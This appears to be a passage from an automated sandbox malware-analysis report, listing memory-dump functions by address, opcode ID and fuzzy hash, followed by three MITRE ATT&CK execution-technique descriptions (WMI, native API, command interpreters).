Instruction Fuzzy Hash: 48415D6170C80E4FEBA4EE5CE588B6473D1EB993A1B1405FBE05DC72A6C925DC468780

Function 00007FFB498CDC60 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c814065556cf97a806c49d810c20dbada1d13f8e9f7e25e2bf0e6af65ed45bc
Instruction ID: 56c3f169605028d5c2894cc2afbafdf6584742c7893ead4e959ffd9fb6e19649
Opcode Fuzzy Hash: 6c814065556cf97a806c49d810c20dbada1d13f8e9f7e25e2bf0e6af65ed45bc
Instruction Fuzzy Hash: EE41AF7061CA4A8FDB99EF3CC090E6277E1EF99340B1445A9D09AC76E6CE25F845C740

Function 00007FFB498D5B40 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e872b30ceb328c6d517650b040b8820fd9e0739923da3599c33da2c52fa151e3
Instruction ID: 1e989a0f7836ceef7c139dc53ca507803ce78cd0ce0327952d2e40d3e9f981ec
Opcode Fuzzy Hash: e872b30ceb328c6d517650b040b8820fd9e0739923da3599c33da2c52fa151e3
Instruction Fuzzy Hash: FF41F070A1CE064FE759EF3CD4556A6B3D1FF94300F14467ED48AC3299DE29B8828780

Function 00007FFB498C8270 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78aa00449b95ba628de143f3adf7c5754fdfffc740bf989283ab2881e8cca37a
Instruction ID: 3125cd98893198deb03491972e0d3a6d0cc3dd67164a123757e3121dc0f9d051
Opcode Fuzzy Hash: 78aa00449b95ba628de143f3adf7c5754fdfffc740bf989283ab2881e8cca37a
Instruction Fuzzy Hash: 2641DE6260CA4A4FE359EE3CE94577577D1EF9A380B5805BEE469CB2D6CC28AC818350

Function 00007FFB498CD228 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e49c0d8825f132b54f1617cdc594432c04136c548d1e66ddcf5dffa497ae7500
Instruction ID: f167ea24a5f9f345132d618d380716bbd3a33613c4d6fe6cdb80c2b70c2fc8e5
Opcode Fuzzy Hash: e49c0d8825f132b54f1617cdc594432c04136c548d1e66ddcf5dffa497ae7500
Instruction Fuzzy Hash: 40414942B0C69A1BE741BF7CE8A51F93BA1EF9232570840B7D4DCCB183DC08A84A83D5

Function 00007FFB498D4C50 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998ab40dee5e9044aa3873fa633e3f02d77dcb4ffd2683a2ae5af6ac707b9c56
Instruction ID: c6a1c9190e8b102a9f5f9d63bc7e2ab4b696a1a4bfa4de264ef87a8ce9d8fa6d
Opcode Fuzzy Hash: 998ab40dee5e9044aa3873fa633e3f02d77dcb4ffd2683a2ae5af6ac707b9c56
Instruction Fuzzy Hash: 85312B6160DBCA0FD756DB3C98646743FE0EF43660B0A42EBD489CB1E3D9189C09C392

Function 00007FFB498DFBEA Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b47218c6c7b8e2b9065c75c9c171a15f8e407e3cbadd852764073b1db1b2b1
Instruction ID: 626de00409aa685d6d8532eabf22e9f29ee4f5d63a907fd1c0baf7cc57f6eb6f
Opcode Fuzzy Hash: f9b47218c6c7b8e2b9065c75c9c171a15f8e407e3cbadd852764073b1db1b2b1
Instruction Fuzzy Hash: E831047161CF4E4FDB48EF2CD8445667BE1EFA9750B1001AEE88DC3292DE21E842C781

Function 00007FFB498C48ED Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd6f2da16b7c5f7bbd076df21e24c654568912dd1f93e4bb9f07924acfd203d
Instruction ID: 7c6a42e2a1ab09783dd5e5c38011fc1c911754b08493114b3c09868bb643300d
Opcode Fuzzy Hash: 4dd6f2da16b7c5f7bbd076df21e24c654568912dd1f93e4bb9f07924acfd203d
Instruction Fuzzy Hash: CD319EB061CA1A8BD768BF2CC184AB973E2EF98745F60467DD05FC3295CE25B8428790

Function 00007FFB498DF271 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95adf402eefedfeb99f24775c7ebc09ec8d7e2be0a0ebd1d480bad4f972908b
Instruction ID: 14711b75b5b1f7fef6d86163408b87287f124f2f8fd333d62067321ca1951df5
Opcode Fuzzy Hash: c95adf402eefedfeb99f24775c7ebc09ec8d7e2be0a0ebd1d480bad4f972908b
Instruction Fuzzy Hash: C931D171A1C98B4FE74AEF3CC0507A9B7E1EF95384F0841BAD059C7293CE28A84597A1

Function 00007FFB498DF3B5 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 583c9b49b40c3d261c75008a9571b934d10047801f0950afaaf490032802c0cf
Instruction ID: 223158f51e5505f2c177979639cecd6315b45926135f39d467008d217613de8b
Opcode Fuzzy Hash: 583c9b49b40c3d261c75008a9571b934d10047801f0950afaaf490032802c0cf
Instruction Fuzzy Hash: D3310871A4DA8A4FD745EF3CD8526A87BE1EF4A344B0901FBD408DB193CD386C8587A1

Function 00007FFB498C49F2 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 736bb65bb355a797824067a755e72018c5ee871da43c5d2229ef28b14e626824
Instruction ID: e93717d83501bbef6c03d94aaa748d1facb22ef541157cb5ba01d5d1ed14084e
Opcode Fuzzy Hash: 736bb65bb355a797824067a755e72018c5ee871da43c5d2229ef28b14e626824
Instruction Fuzzy Hash: 4731AD71A0DA594FDB95EF3C9899BE87BE1EB59351F0800B6E40DC72EACE249C458381

Function 00007FFB498DCA31 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729d429a7fd72ada29ee8f972f70df3164fc8460604fe2721e68678d54236f8b
Instruction ID: 5789379aa8c0c9fa24730cb2930055a12503c9dc6038edddf9802f1fc16934a9
Opcode Fuzzy Hash: 729d429a7fd72ada29ee8f972f70df3164fc8460604fe2721e68678d54236f8b
Instruction Fuzzy Hash: 9731E47180CB884FEB14EF28DC069E9BBE4EF96710F04026FE489D3151D665A94487C3

Function 00007FFB498D9B6B Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1757d66ea4c8b66830f1e68c0232dff8eb922a9f2ecc1d107d0db6add46411c5
Instruction ID: bc221208fc423aa3568ec9789ef6086b03cd3ae8bd1f9e2fa9a481a80f1c1494
Opcode Fuzzy Hash: 1757d66ea4c8b66830f1e68c0232dff8eb922a9f2ecc1d107d0db6add46411c5
Instruction Fuzzy Hash: 0F31067090994A9FDB94EF2CC589AA877E1FF59754F0102B9E40DD72A1CA39E880CB50

Function 00007FFB498CBE1D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62e651813aa2ab7d746f04f12d30f7d5716e4fef00aad56271d9b8012a2baae4
Instruction ID: 0aab1f176a80ed936e63e5627a3c746f2972f3346bc861439268dd3fc254bc4e
Opcode Fuzzy Hash: 62e651813aa2ab7d746f04f12d30f7d5716e4fef00aad56271d9b8012a2baae4
Instruction Fuzzy Hash: 9711B77260DE4A0FE798DE2CD856A717BD5EF9625070401BAE44CC71D3DD29E841C350

Function 00007FFB498CA2CB Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509b489ceb7ef001a38d4a43b04f4992c52b4930945586c4fbed36b759ec241e
Instruction ID: 0c655bc02bc16a767fe9baab9120ef65a8630a58aa171dfa3bb658f9b39787f9
Opcode Fuzzy Hash: 509b489ceb7ef001a38d4a43b04f4992c52b4930945586c4fbed36b759ec241e
Instruction Fuzzy Hash: 8B213DB0E19A5A8FEBA9EF3CCC457A873A1EF44341F1001FDE05DD2191CE399A818B14

Function 00007FFB498C0480 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8d9f81d0e4f9e9793b830989f03cfbb373fd4391ba1d9038cf223277ad535e
Instruction ID: d8e24bf24e8f3469812e8fdb22195103d41b9a312868e62e744e377f63e60024
Opcode Fuzzy Hash: 6d8d9f81d0e4f9e9793b830989f03cfbb373fd4391ba1d9038cf223277ad535e
Instruction Fuzzy Hash: DE012842B0E06A05EA127A7CF1915FD3F41DF4523EB0D42B7E4DC898D3DC89A84D41D9

Function 00007FFB498CF161 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de0551d2718c6ac1e34aa0d85b669224b15f4421b430ddc98331dcd78070fc4
Instruction ID: c8190ffe1933237a9b67276c56d6b2a32cfdb3eca08af21e3c7c2d6f0376fc6a
Opcode Fuzzy Hash: 0de0551d2718c6ac1e34aa0d85b669224b15f4421b430ddc98331dcd78070fc4
Instruction Fuzzy Hash: 0901F9A270EA470FF69B663CF8162B96BC0CB9627131551BBD48EC71D3DC099C830295

Function 00007FFB498C92C5 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d0e172cf46242a1169b36acfbf7a4e4f85d5298b4cf23ed111e8eefca3222d
Instruction ID: 0605ee795e04682ccd2cc64562015c962896e69575fb95c836bb653b4533eecf
Opcode Fuzzy Hash: 03d0e172cf46242a1169b36acfbf7a4e4f85d5298b4cf23ed111e8eefca3222d
Instruction Fuzzy Hash: D301DEB151C6464FEBA4EF2DC5457A47BD0FF09300F4801FAD098CB1D2CA1A9C458781

Function 00007FFB498DABB1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abf957a2278454c58faf7652ef6dc24f3b1954ed3da12464714ee41d4db72a8
Instruction ID: 7dbf50a6a6b05d8054de5e14b492ff72b86640b856eb4d2bfe9965ea52332c4e
Opcode Fuzzy Hash: 7abf957a2278454c58faf7652ef6dc24f3b1954ed3da12464714ee41d4db72a8
Instruction Fuzzy Hash: CDF0C8C2A0EA8B1FE3966A7C99962B46B85DB9916171841B7D04CC62D3DC484C8743E2

Function 00007FFB498C5A80 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea580088ee37cee6efe4cc6de1103e009682504e9b30a6ba4e38f9f941bf8556
Instruction ID: 7162dc0e534d0861259ac25f40d814c3f4ef6238bcf904b86204e3c00c37c237
Opcode Fuzzy Hash: ea580088ee37cee6efe4cc6de1103e009682504e9b30a6ba4e38f9f941bf8556
Instruction Fuzzy Hash: C301A261A2DA0B4FDA9DFE3CD09096A73E1FFA8340744057AD459C3685DD24E8428381

Function 00007FFB498C4B4D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0ac36e12542ab6fea39ff5be1669e3d39b9e30394b70c5c136a6c63f6d5cb54
Instruction ID: 81a037df7de420486d9adbf3cf72c6c98dee485fc03b9d102826ded5f334c78c
Opcode Fuzzy Hash: a0ac36e12542ab6fea39ff5be1669e3d39b9e30394b70c5c136a6c63f6d5cb54
Instruction Fuzzy Hash: 5001818581EAC71FD3636BBC69202A16FA48F8316571D01E7E0E8CB0CBD90C5895C3A6

Function 00007FFB498C5BE9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8925249790f00633499a79c2ae2c1364307829677f87eedc7fe6189e90bdee5
Instruction ID: 100cc86aa5109bb056d4976b7680096aff4017d0826b3237555c3972357fea71
Opcode Fuzzy Hash: a8925249790f00633499a79c2ae2c1364307829677f87eedc7fe6189e90bdee5
Instruction Fuzzy Hash: 1801ADB091D78E4FDB46EF3888180A97FB0FF15200B4004ABD869C71A2DA7588148740

Function 00007FFB498D6413 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b38305b3b40af3cfe382425060cd21d954bd3f4fff5c49e09cf031b3acd0b252
Instruction ID: ab816605b50421064d3c2b8a53dd92c460153bffd055e0cdb23eda9940f2a47d
Opcode Fuzzy Hash: b38305b3b40af3cfe382425060cd21d954bd3f4fff5c49e09cf031b3acd0b252
Instruction Fuzzy Hash: 0CF0FE71A2CB488B9F14AE4CBC434AD77D0FB89B60F10116FF94943241D621B8928AC7

Function 00007FFB498CB902 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab47cef7efe8d2d52ddc420f1629cf329d0d3169a77c8296238cb22c357872e5
Instruction ID: 1cc2f89cd7891eecb1487562a44157e20c0498e43f7da5f7c52ba88e6098fb6a
Opcode Fuzzy Hash: ab47cef7efe8d2d52ddc420f1629cf329d0d3169a77c8296238cb22c357872e5
Instruction Fuzzy Hash: 37F0C86050DACB0FD316AF3CD5545A0BBE0AF46350B4D01F6D448CB2D3D91DA899C351

Function 00007FFB498C8AE8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473756d5ae6d97b0ab0921bf3aea01914f29052d31a171fe2b784d00b88879ae
Instruction ID: a7f8de55f22cce541dc3c022686699f76c06a935c66b0810f306cd5d02b3693f
Opcode Fuzzy Hash: 473756d5ae6d97b0ab0921bf3aea01914f29052d31a171fe2b784d00b88879ae
Instruction Fuzzy Hash: 49F0A0A2A1CD1E0AE6A8BE3CA4456BE23E1EBD4291F40057AE45ED36C5DD69A84343C1

Function 00007FFB498C51FE Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2a6d1ee193be2113fd58d9891f49b8590f506b99d07875d645aacde1cb6878
Instruction ID: b59842a01fb6da6e5e928cb6e9b848f1abb5103ab9a3c7b27a8e1d3faa1ea275
Opcode Fuzzy Hash: ee2a6d1ee193be2113fd58d9891f49b8590f506b99d07875d645aacde1cb6878
Instruction Fuzzy Hash: F4F0E99271DD870BD749AE3CA8815FDB7C1EF6025070404BDC059C75A6DD25E98A8780

Function 00007FFB498D5381 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22214349aba8a2af8fac0b57b92db312700bc1ce3a8325770904d24a18c2f4d
Instruction ID: 0c4e10a0edb41a8ee37d84cb0ab463f7546ffb46cb8d530aae18e1f41cd975bb
Opcode Fuzzy Hash: c22214349aba8a2af8fac0b57b92db312700bc1ce3a8325770904d24a18c2f4d
Instruction Fuzzy Hash: 40E0DF7260C8074FE718FE2CE590AF43392EB913A0F10873BC806C62D8DD6CE8828381

Function 00007FFB498C4260 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18ba18a943ee4dd1e0716ccb17947207b2c0a5ac732912e0e0b1e0b67193fad7
Instruction ID: 8a40c076ed75727f5742dc487bbe2a74ed0617bdadccfccff643a727642f5225
Opcode Fuzzy Hash: 18ba18a943ee4dd1e0716ccb17947207b2c0a5ac732912e0e0b1e0b67193fad7
Instruction Fuzzy Hash: 55D05E51E1EC2F16D0B47A7C79167A90295DBC86A0B8A0372E81CC32CDDC4CDCC102C0

Function 00007FFB498DF189 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28ee72dc8dec20ce8fed975cb1d19c436bc2bf774c720a6f9e1fbf673ea9ef9
Instruction ID: 06693abcb44e7c60f1b473461524a19560518c48c176cd6f820195d11c022d12
Opcode Fuzzy Hash: d28ee72dc8dec20ce8fed975cb1d19c436bc2bf774c720a6f9e1fbf673ea9ef9
Instruction Fuzzy Hash: B7E06891A5EBD50FEBA76A3C86652A47FA08F06200F0901EBC488CB1D3E84D0C4843A2

Function 00007FFB498C8150 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1db5612abc45ee25d10e137e221df2df469d1bf9db1baea2e512946e6d6f31ff
Instruction ID: 9a25f38ac3b62ac31e34f6cc25852884c7da592756b623fc7799a249f6fcd01c
Opcode Fuzzy Hash: 1db5612abc45ee25d10e137e221df2df469d1bf9db1baea2e512946e6d6f31ff
Instruction Fuzzy Hash: 57E0C265A4DD4B0BEE8CAD39CC9201036D1EBA8204BA400A9C448C22C1F81AC882C381

Function 00007FFB498C59D0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de468debe682384a4ada51a86ca342db9928b04da778ab81132a384b1a51b698
Instruction ID: bf8be69164703d563bf4105e6647f843a486706ed48c871b5d9a01614e6fafd7
Opcode Fuzzy Hash: de468debe682384a4ada51a86ca342db9928b04da778ab81132a384b1a51b698
Instruction Fuzzy Hash: 32E0C27081CA4747F708BE3A8D4507AB2D1BB88282F844AB6DC9CC10D0FB2DC3C58242

Function 00007FFB498CEE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dc5e420fd01d4b80e7d15d05b11765ae1670a4a244da6beea1dc9131e366fd4
Instruction ID: db6e9f983c68f4db0c40cdf22735ddf01487d267d218b15579a90db7a4f2d8e2
Opcode Fuzzy Hash: 4dc5e420fd01d4b80e7d15d05b11765ae1670a4a244da6beea1dc9131e366fd4
Instruction Fuzzy Hash: A2E0E62551998A4FD645EF2CC981A5037E0EF0B384B8800E5D818DF196D55DF9948711

Function 00007FFB498C59E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d606a3eff54a8afc23c6f3d9692f99aba78f197071398acf0b125e50e4cf453a
Instruction ID: 935f33e0e15132af47a248e17e26ccb1775357b7726b9f8afcbeb3f9349468d3
Opcode Fuzzy Hash: d606a3eff54a8afc23c6f3d9692f99aba78f197071398acf0b125e50e4cf453a
Instruction Fuzzy Hash: 65D05B7092CD1A06FB50BE3C92096F567D0CB64355F040A77EC5DD71E4DD59598242C5

Function 00007FFB498C3B59 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b199c7db29a0555a7ea2d430dad342ee8e14e956db0a55e7f56215082f33101
Instruction ID: 2d753b83a63e190afcd2cf550962048f1f8263bac89cc51bf002f02cbfacda74
Opcode Fuzzy Hash: 3b199c7db29a0555a7ea2d430dad342ee8e14e956db0a55e7f56215082f33101
Instruction Fuzzy Hash: BAC01232A0880D8E8F80EE9CA0016ECB7A0EB89221F041033E11CE2140CE24145047A0

Function 00007FFB498CEC88 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5f752df2c09eb0c943833d55dc258bfdd94beac84bacd88f350b69829a59e3
Instruction ID: c53be6ebf7de586e7d1d321751b1f824bafab1a2e2ea60e549a55208ed1b2370
Opcode Fuzzy Hash: 0a5f752df2c09eb0c943833d55dc258bfdd94beac84bacd88f350b69829a59e3
Instruction Fuzzy Hash: 59B0128080AA5344DDCA2131CA012F82AD1CF411D0FC808F4FDCC49053D80C37DB0310

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
